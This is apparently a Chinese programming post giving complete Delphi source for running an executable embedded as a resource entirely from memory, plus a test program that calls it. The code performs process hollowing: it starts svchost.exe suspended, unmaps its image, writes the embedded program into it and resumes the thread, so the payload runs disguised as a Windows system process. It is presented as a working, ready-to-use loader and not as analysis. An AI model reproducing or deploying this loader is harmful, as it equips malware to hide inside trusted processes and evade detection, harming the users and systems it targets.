delphi 在内存中直接运行EXE类型的资源文件

unit PE; interface uses windows; function MemExecute(const ABuffer; Len: Integer; CmdParam: string; var ProcessId: Cardinal): Cardinal; implementation type TImageSectionHeaders = array[0..0] of TImageSectionHeader; PImageSectionHeaders = ^TImageSectionHeaders; { 计算对齐后的大小 } function GetAlignedSize(Origin, Alignment: Cardinal): Cardinal; begin result := (Origin + Alignment - 1) div Alignment * Alignment; end; { 计算加载pe并对齐需要占用多少内存，未直接使用OptionalHeader.SizeOfImage作为结果是因为据说有的编译器生成的exe这个值会填0 } function CalcTotalImageSize(MzH: PImageDosHeader; FileLen: Cardinal; peH: PImageNtHeaders; peSecH: PImageSectionHeaders): Cardinal; var i: Integer; begin {计算pe头的大小} result := GetAlignedSize(PeH.OptionalHeader.SizeOfHeaders, PeH.OptionalHeader.SectionAlignment); {计算所有节的大小} for i := 0 to peH.FileHeader.NumberOfSections - 1 do if peSecH[i].PointerToRawData + peSecH[i].SizeOfRawData > FileLen then // 超出文件范围 begin result := 0; exit; end else if peSecH[i].VirtualAddress <> 0 then //计算对齐后某节的大小 if peSecH[i].Misc.VirtualSize <> 0 then result := GetAlignedSize(peSecH[i].VirtualAddress + peSecH[i].Misc.VirtualSize, PeH.OptionalHeader.SectionAlignment) else result := GetAlignedSize(peSecH[i].VirtualAddress + peSecH[i].SizeOfRawData, PeH.OptionalHeader.SectionAlignment) else if peSecH[i].Misc.VirtualSize < peSecH[i].SizeOfRawData then result := result + GetAlignedSize(peSecH[i].SizeOfRawData, peH.OptionalHeader.SectionAlignment) else result := result + GetAlignedSize(peSecH[i].Misc.VirtualSize, PeH.OptionalHeader.SectionAlignment); end; { 加载pe到内存并对齐所有节 } function AlignPEToMem(const Buf; Len: Integer; var PeH: PImageNtHeaders; var PeSecH: PImageSectionHeaders; var Mem: Pointer; var ImageSize: Cardinal): Boolean; var SrcMz: PImageDosHeader; // DOS头 SrcPeH: PImageNtHeaders; // PE头 SrcPeSecH: PImageSectionHeaders; // 节表 i: Integer; l: Cardinal; Pt: Pointer; begin result := false; SrcMz := @Buf; if Len < sizeof(TImageDosHeader) then exit; if SrcMz.e_magic <> IMAGE_DOS_SIGNATURE then exit; if Len < SrcMz._lfanew + Sizeof(TImageNtHeaders) then exit; SrcPeH := pointer(Integer(SrcMz) + SrcMz._lfanew); if (SrcPeH.Signature <> IMAGE_NT_SIGNATURE) then exit; if (SrcPeH.FileHeader.Characteristics and IMAGE_FILE_DLL <> 0) or (SrcPeH.FileHeader.Characteristics and IMAGE_FILE_EXECUTABLE_IMAGE = 0) or (SrcPeH.FileHeader.SizeOfOptionalHeader <> SizeOf(TImageOptionalHeader)) then exit; SrcPeSecH := Pointer(Integer(SrcPeH) + SizeOf(TImageNtHeaders)); ImageSize := CalcTotalImageSize(SrcMz, Len, SrcPeH, SrcPeSecH); if ImageSize = 0 then exit; Mem := VirtualAlloc(nil, ImageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); // 分配内存 if Mem <> nil then begin // 计算需要复制的PE头字节数 l := SrcPeH.OptionalHeader.SizeOfHeaders; for i := 0 to SrcPeH.FileHeader.NumberOfSections - 1 do if (SrcPeSecH[i].PointerToRawData <> 0) and (SrcPeSecH[i].PointerToRawData < l) then l := SrcPeSecH[i].PointerToRawData; Move(SrcMz^, Mem^, l); PeH := Pointer(Integer(Mem) + PImageDosHeader(Mem)._lfanew); PeSecH := Pointer(Integer(PeH) + sizeof(TImageNtHeaders)); Pt := Pointer(Cardinal(Mem) + GetAlignedSize(PeH.OptionalHeader.SizeOfHeaders, PeH.OptionalHeader.SectionAlignment)); for i := 0 to PeH.FileHeader.NumberOfSections - 1 do begin // 定位该节在内存中的位置 if PeSecH[i].VirtualAddress <> 0 then Pt := Pointer(Cardinal(Mem) + PeSecH[i].VirtualAddress); if PeSecH[i].SizeOfRawData <> 0 then begin // 复制数据到内存 Move(Pointer(Cardinal(SrcMz) + PeSecH[i].PointerToRawData)^, pt^, PeSecH[i].SizeOfRawData); if peSecH[i].Misc.VirtualSize < peSecH[i].SizeOfRawData then pt := pointer(Cardinal(pt) + GetAlignedSize(PeSecH[i].SizeOfRawData, PeH.OptionalHeader.SectionAlignment)) else pt := pointer(Cardinal(pt) + GetAlignedSize(peSecH[i].Misc.VirtualSize, peH.OptionalHeader.SectionAlignment)); // pt 定位到下一节开始位置 end else pt := pointer(Cardinal(pt) + GetAlignedSize(PeSecH[i].Misc.VirtualSize, PeH.OptionalHeader.SectionAlignment)); end; result := True; end; end; type TVirtualAllocEx = function(hProcess: THandle; lpAddress: Pointer; dwSize, flAllocationType: DWORD; flProtect: DWORD): Pointer; stdcall; var MyVirtualAllocEx: TVirtualAllocEx = nil; function IsNT: Boolean; begin result := Assigned(MyVirtualAllocEx); end; { 生成外壳程序命令行 } function PrepareShellExe(CmdParam: string ): string; begin {这里的路径 自己定义了^_^，仅仅是外壳程序} //result:='c:\Program Files\Internet Explorer\iexplore.exe'+CmdParam ; result := 'c:\windows\system32\svchost.exe' + cmdparam; end; { 是否包含可重定向列表 } function HasRelocationTable(peH: PImageNtHeaders): Boolean; begin result := (peH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress <> 0) and (peH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size <> 0); end; type PImageBaseRelocation = ^TImageBaseRelocation; TImageBaseRelocation = packed record VirtualAddress: cardinal; SizeOfBlock: cardinal; end; { 重定向PE用到的地址 } procedure DoRelocation(peH: PImageNtHeaders; OldBase, NewBase: Pointer); var Delta: Cardinal; p: PImageBaseRelocation; pw: PWord; i: Integer; begin Delta := Cardinal(NewBase) - peH.OptionalHeader.ImageBase; p := pointer(cardinal(OldBase) + peH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress); while (p.VirtualAddress + p.SizeOfBlock <> 0) do begin pw := pointer(Integer(p) + Sizeof(p^)); for i := 1 to (p.SizeOfBlock - Sizeof(p^)) div 2 do begin if pw^ and $F000 = $3000 then Inc(PCardinal(Cardinal(OldBase) + p.VirtualAddress + (pw^ and $0FFF))^, Delta); inc(pw); end; p := Pointer(pw); end; end; type TZwUnmapViewOfSection = function(Handle, BaseAdr: Cardinal): Cardinal; stdcall; { 卸载原外壳占用内存 } function UnloadShell(ProcHnd, BaseAddr: Cardinal): Boolean; var M: HModule; ZwUnmapViewOfSection: TZwUnmapViewOfSection; begin result := False; m := LoadLibrary('ntdll.dll'); if m <> 0 then begin ZwUnmapViewOfSection := GetProcAddress(m, 'ZwUnmapViewOfSection'); if assigned(ZwUnmapViewOfSection) then result := (ZwUnmapViewOfSection(ProcHnd, BaseAddr) = 0); FreeLibrary(m); end; end; { 创建外壳进程并获取其基址、大小和当前运行状态 } function CreateChild(Cmd: string; var Ctx: TContext; var ProcHnd, ThrdHnd, ProcId, BaseAddr, ImageSize: Cardinal): Boolean; var si: TStartUpInfo; pi: TProcessInformation; Old: Cardinal; MemInfo: TMemoryBasicInformation; p: Pointer; begin FillChar(si, Sizeof(si), 0); FillChar(pi, SizeOf(pi), 0); si.cb := sizeof(si); result := CreateProcess(nil, PChar(Cmd), nil, nil, False, CREATE_SUSPENDED, nil, nil, si, pi); // 以挂起方式运行进程 if result then begin ProcHnd := pi.hProcess; ThrdHnd := pi.hThread; ProcId := pi.dwProcessId; { 获取外壳进程运行状态，[ctx.Ebx+8]内存处存的是外壳进程的加载基址，ctx.Eax存放有外壳进程的入口地址 } ctx.ContextFlags := CONTEXT_FULL; GetThreadContext(ThrdHnd, ctx); ReadProcessMemory(ProcHnd, Pointer(ctx.Ebx + 8), @BaseAddr, SizeOf(Cardinal), Old); // 读取加载基址 p := Pointer(BaseAddr); { 计算外壳进程占有的内存 } while VirtualQueryEx(ProcHnd, p, MemInfo, Sizeof(MemInfo)) <> 0 do begin if MemInfo.State = MEM_FREE then break; p := Pointer(Cardinal(p) + MemInfo.RegionSize); end; ImageSize := Cardinal(p) - Cardinal(BaseAddr); end; end; { 创建外壳进程并用目标进程替换它然后执行 } function AttachPE(CmdParam: string; peH: PImageNtHeaders; peSecH: PImageSectionHeaders; Ptr: Pointer; ImageSize: Cardinal; var ProcId: Cardinal): Cardinal; var s: string; Addr, Size: Cardinal; ctx: TContext; Old: Cardinal; p: Pointer; Thrd: Cardinal; begin result := INVALID_HANDLE_VALUE; s := PrepareShellExe(CmdParam + ' ' {, peH.OptionalHeader.ImageBase, ImageSize}); if CreateChild(s, ctx, result, Thrd, ProcId, Addr, Size) then begin p := nil; if (peH.OptionalHeader.ImageBase = Addr) and (Size >= ImageSize) then // 外壳进程可以容纳目标进程并且加载地址一致 begin p := Pointer(Addr); VirtualProtectEx(result, p, Size, PAGE_EXECUTE_READWRITE, Old); end else if IsNT then // 98 下失败 begin if UnloadShell(result, Addr) then // 卸载外壳进程占有内存 // 重新按目标进程加载基址和大小分配内存 p := MyVirtualAllocEx(Result, Pointer(peH.OptionalHeader.ImageBase), ImageSize, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (p = nil) and hasRelocationTable(peH) then // 分配内存失败并且目标进程支持重定向 begin // 按任意基址分配内存 p := MyVirtualAllocEx(result, nil, ImageSize, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE); if p <> nil then DoRelocation(peH, Ptr, p); // 重定向 end; end; if p <> nil then begin WriteProcessMemory(Result, Pointer(ctx.Ebx + 8), @p, Sizeof(DWORD), Old); // 重置目标进程运行环境中的基址 peH.OptionalHeader.ImageBase := Cardinal(p); if WriteProcessMemory(Result, p, Ptr, ImageSize, Old) then // 复制PE数据到目标进程 begin ctx.ContextFlags := CONTEXT_FULL; if Cardinal(p) = Addr then ctx.Eax := peH.OptionalHeader.ImageBase + peH.OptionalHeader.AddressOfEntryPoint // 重置运行环境中的入口地址 else ctx.Eax := Cardinal(p) + peH.OptionalHeader.AddressOfEntryPoint; SetThreadContext(Thrd, ctx); // 更新运行环境 ResumeThread(Thrd); // 执行 CloseHandle(Thrd); end else begin // 加载失败,杀掉外壳进程 TerminateProcess(Result, 0); CloseHandle(Thrd); CloseHandle(Result); Result := INVALID_HANDLE_VALUE; end; end else begin // 加载失败,杀掉外壳进程 TerminateProcess(Result, 0); CloseHandle(Thrd); CloseHandle(Result); Result := INVALID_HANDLE_VALUE; end; end; end; function MemExecute(const ABuffer; Len: Integer; CmdParam: string; var ProcessId: Cardinal): Cardinal; var peH: PImageNtHeaders; peSecH: PImageSectionHeaders; Ptr: Pointer; peSz: Cardinal; begin result := INVALID_HANDLE_VALUE; if alignPEToMem(ABuffer, Len, peH, peSecH, Ptr, peSz) then begin result := AttachPE(CmdParam, peH, peSecH, Ptr, peSz, ProcessId); VirtualFree(Ptr, peSz, MEM_DECOMMIT); //VirtualFree(Ptr, 0, MEM_RELEASE); end; end; initialization MyVirtualAllocEx := GetProcAddress(GetModuleHandle('Kernel32.dll'), 'VirtualAllocEx'); end. /////////////////////////////////////////////////////////////////////// {测试：你可以把任何一个exe文件 作成资源然后这样调用} program test; //{$APPTYPE CONSOLE} {$R 'data.res' 'data.rc'}//加入exe资源文件 uses windows, PE in 'PE.pas'; //引用上面的单元 var ProcessId: Cardinal; ResourceLocation: HRSRC; Size: Longword; ResDataHandle: THandle; ResourcePointer: PChar; begin ResourceLocation := FindResource(HInstance, 'myexe', RT_RCDATA); if ResourceLocation <> 0 then begin Size := SizeofResource(HInstance, ResourceLocation); if Size <> 0 then begin ResDataHandle := LoadResource(HInstance, ResourceLocation); if ResDataHandle <> 0 then begin ResourcePointer := LockResource(ResDataHandle); if ResourcePointer <> nil then begin MemExecute(ResourcePointer^, size, '', ProcessId);//只需这样调用即可 end; end; end; end; end.